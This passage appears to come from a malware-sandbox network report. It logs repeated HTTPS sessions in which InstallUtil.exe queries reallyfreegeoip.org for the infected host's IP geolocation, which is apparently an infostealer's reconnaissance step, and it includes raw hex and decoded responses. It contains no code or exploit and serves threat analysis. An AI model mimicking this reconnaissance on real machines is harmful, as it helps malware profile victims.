2024-09-26 10:12:36 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49760	188.114.96.3	443	3412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:37 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 10:12:37 UTC	674	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:37 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10389 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IgSAySewwhqu2IsL%2FRROs45EgAOgXa0N6p%2B7ChfonXK9OBd66whVO4XkhQAMHMwySzCangT6iIJJACJyVoMwSX6hXhiGLBIT95afHI8h1iqTJwP795YDJg1FAwmI0ids3UCJFz9i"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c927a063f970f6d-EWR
2024-09-26 10:12:37 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49762	188.114.96.3	443	3412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:38 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 10:12:38 UTC	680	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:38 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10390 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eHWaoy%2Bcha40%2F5acyq5yq1UKWIC3joE7qRKQp3sFPyv3bjAtG1zagaZaR2%2F1IyCtclHg6t6afa%2BDswMB7IAN9H6oqBsRnlw9JQzH4JhIC7zqNrUdOFdxGBSz6Rli2rJ%2FpXSDaLc0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c927a0e6b024346-EWR
2024-09-26 10:12:38 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49764	188.114.96.3	443	3412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:39 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 10:12:39 UTC	678	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:39 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10391 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7nGreKCRuMnN6PAqlZ%2BtPIil2Ib1Q1R1dLEsc%2BV8Jm8oBB3FUMeo7YedHYBCAcnm57Pj4Mm90DhgCxOiygLaT29rQVqw83anMm3QGo%2FzxwaHNr69WNZ4r%2FHEBPZrJWCV0t91B6SJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c927a152bc2728f-EWR
2024-09-26 10:12:39 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49766	188.114.96.3	443	3412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:40 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 10:12:41 UTC	684	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:40 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10392 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ar23WzHiLcUIr5FB3vMS6oMJjfvoyf%2Fs%2FfdLfyuClL7v6pH5%2BcOstcmGm%2F4RtC4%2F8p6a3YQdgiQOEmSc4961PNtmFU89f6LRMTTvqnby%2B7mjSWs6Hy0gZlxVP%2F9ckNhU44twnA7k"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c927a1c1d4a4350-EWR
2024-09-26 10:12:41 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49768	188.114.96.3	443	3412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:41 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 10:12:42 UTC	708	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:42 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10394 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WNsfsdAqAe3immw%2Bl8OBvq2ZsJmA5awjK7EoseCHYBvFZ3RfMNT9ptaIWoMD%2FgJQYZwA43qSs4hRnSimHeGSzn6IptTvMKnY7INGgL6UtmlRkALqSQ4v%2FE0VsWqDKmN%2FBij5TczN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c927a22eac68c7b-EWR alt-svc: h3=":443"; ma=86400
2024-09-26 10:12:42 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49770	188.114.96.3	443	3412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:43 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 10:12:43 UTC	682	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:43 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10395 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1U3Y2%2B7P%2FYOEaiTifsVrZSFas1Z%2FGZ2dqXNWfw8jqSKr%2F7dkwMxAh1NtONq%2BXA3VSRDq4tjWvnFUPPZWCQghwCPnp1whDxpDA5ZJ6YWA%2BPuRkZcQqfjJE9og1cFSlj4ebV7NrXfm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c927a2a09890c96-EWR
2024-09-26 10:12:43 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49772	188.114.96.3	443	1260	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:43 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 10:12:44 UTC	682	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:44 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10396 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iw7vIZzUzf%2FlYm4yaVRPvb9Ot65hTbxG%2FuVCSKY9vrXq5K2LwvbW9g0hg3FjvACCUysWK%2F9PggCdDjhB%2Fqb7MjypeFlRdmR%2BEK%2Bgca9N2RamKBfaXkmqI23JzzXALy4OgEWSu0mQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c927a2f480343df-EWR
2024-09-26 10:12:44 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49773	188.114.96.3	443	1260	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:44 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 10:12:44 UTC	688	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:44 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10396 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ybkwFlv0N2sBJIH%2BK4GV76AAFo8q0QmQFSirTxcevHlqEsbK2n6pZ%2B%2BI%2BZmmmFOPkk8PvMCUsWA18Omi%2FrJMjy51MYYgQpqkix%2FcqkD5%2BNhKl3437kAPsp%2FXGWFEGnamdh5y%2FiyX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c927a33eedb43f1-EWR
2024-09-26 10:12:44 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49775	188.114.96.3	443	1260	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:45 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 10:12:46 UTC	674	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:45 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10397 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UGjCn2bylmp4b96jUAXLhtpdqCQDsqycl7DEts%2BleplJNE4D%2FDg3R8Iwx3NnlJLiGSpedM9iRYMtbYwMwOKp1UBsAQ3muUkU5qyYWfNrlC3qMbQdmWYS2a2sqzQ1XcmVVjmAVRtn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c927a3b29d643c5-EWR
2024-09-26 10:12:46 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49777	188.114.96.3	443	1260	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:46 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 10:12:47 UTC	676	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:47 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10399 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9rG8x%2BwQOyxqvJEbL9XCqA7Kv8vseGMhb8hVzr0hrpqnVxRDy2lIgcZNFkqELqfrMjY7TvuWc82rPvRCU%2BNSTzHAbPbjStagWutnCgyvJ7RFFRaUrj9h9423GtTGCLK5iWk%2B6Oa6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c927a41e83f7293-EWR
